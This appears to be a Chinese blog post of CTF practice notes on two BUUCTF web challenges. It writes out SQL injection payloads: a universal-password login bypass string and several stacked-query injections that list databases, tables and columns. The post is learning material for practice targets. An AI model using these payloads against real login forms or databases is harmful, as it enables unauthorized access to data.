buuctf刷题笔记

CTF web刷题笔记

菜狗二进制学不下去了开始学web嗷

目录

    • CTF web刷题笔记
  • SQL注入
    • buu_[极客大挑战 2019]EasySQL
    • buu_随便注

SQL注入

buu_[极客大挑战 2019]EasySQL

听说SQL注入有万能密码

username=admin' or '1'='1&password=admin' or '1'='1

buuctf刷题笔记_第1张图片
buuctf刷题笔记_第2张图片

buu_随便注

buuctf刷题笔记_第3张图片
输入2显示miaomiaomiao其他就没了
buuctf刷题笔记_第4张图片
先用?inject=1’测试下
在这里插入图片描述

1';show databases;#

听说这叫堆叠注入?
buuctf刷题笔记_第5张图片

1';show tables;#

buuctf刷题笔记_第6张图片

1';show columns from `1919810931114514`;#

buuctf刷题笔记_第7张图片
后面不会做了。。。听说要改表名啥的贴个大佬的WP吧
buuctf刷题笔记_第8张图片

尼玛这第三题就这么难了?还tm五千多人做出来了?这是逼我滚回去做二进制?

你可能感兴趣的:(安全,web)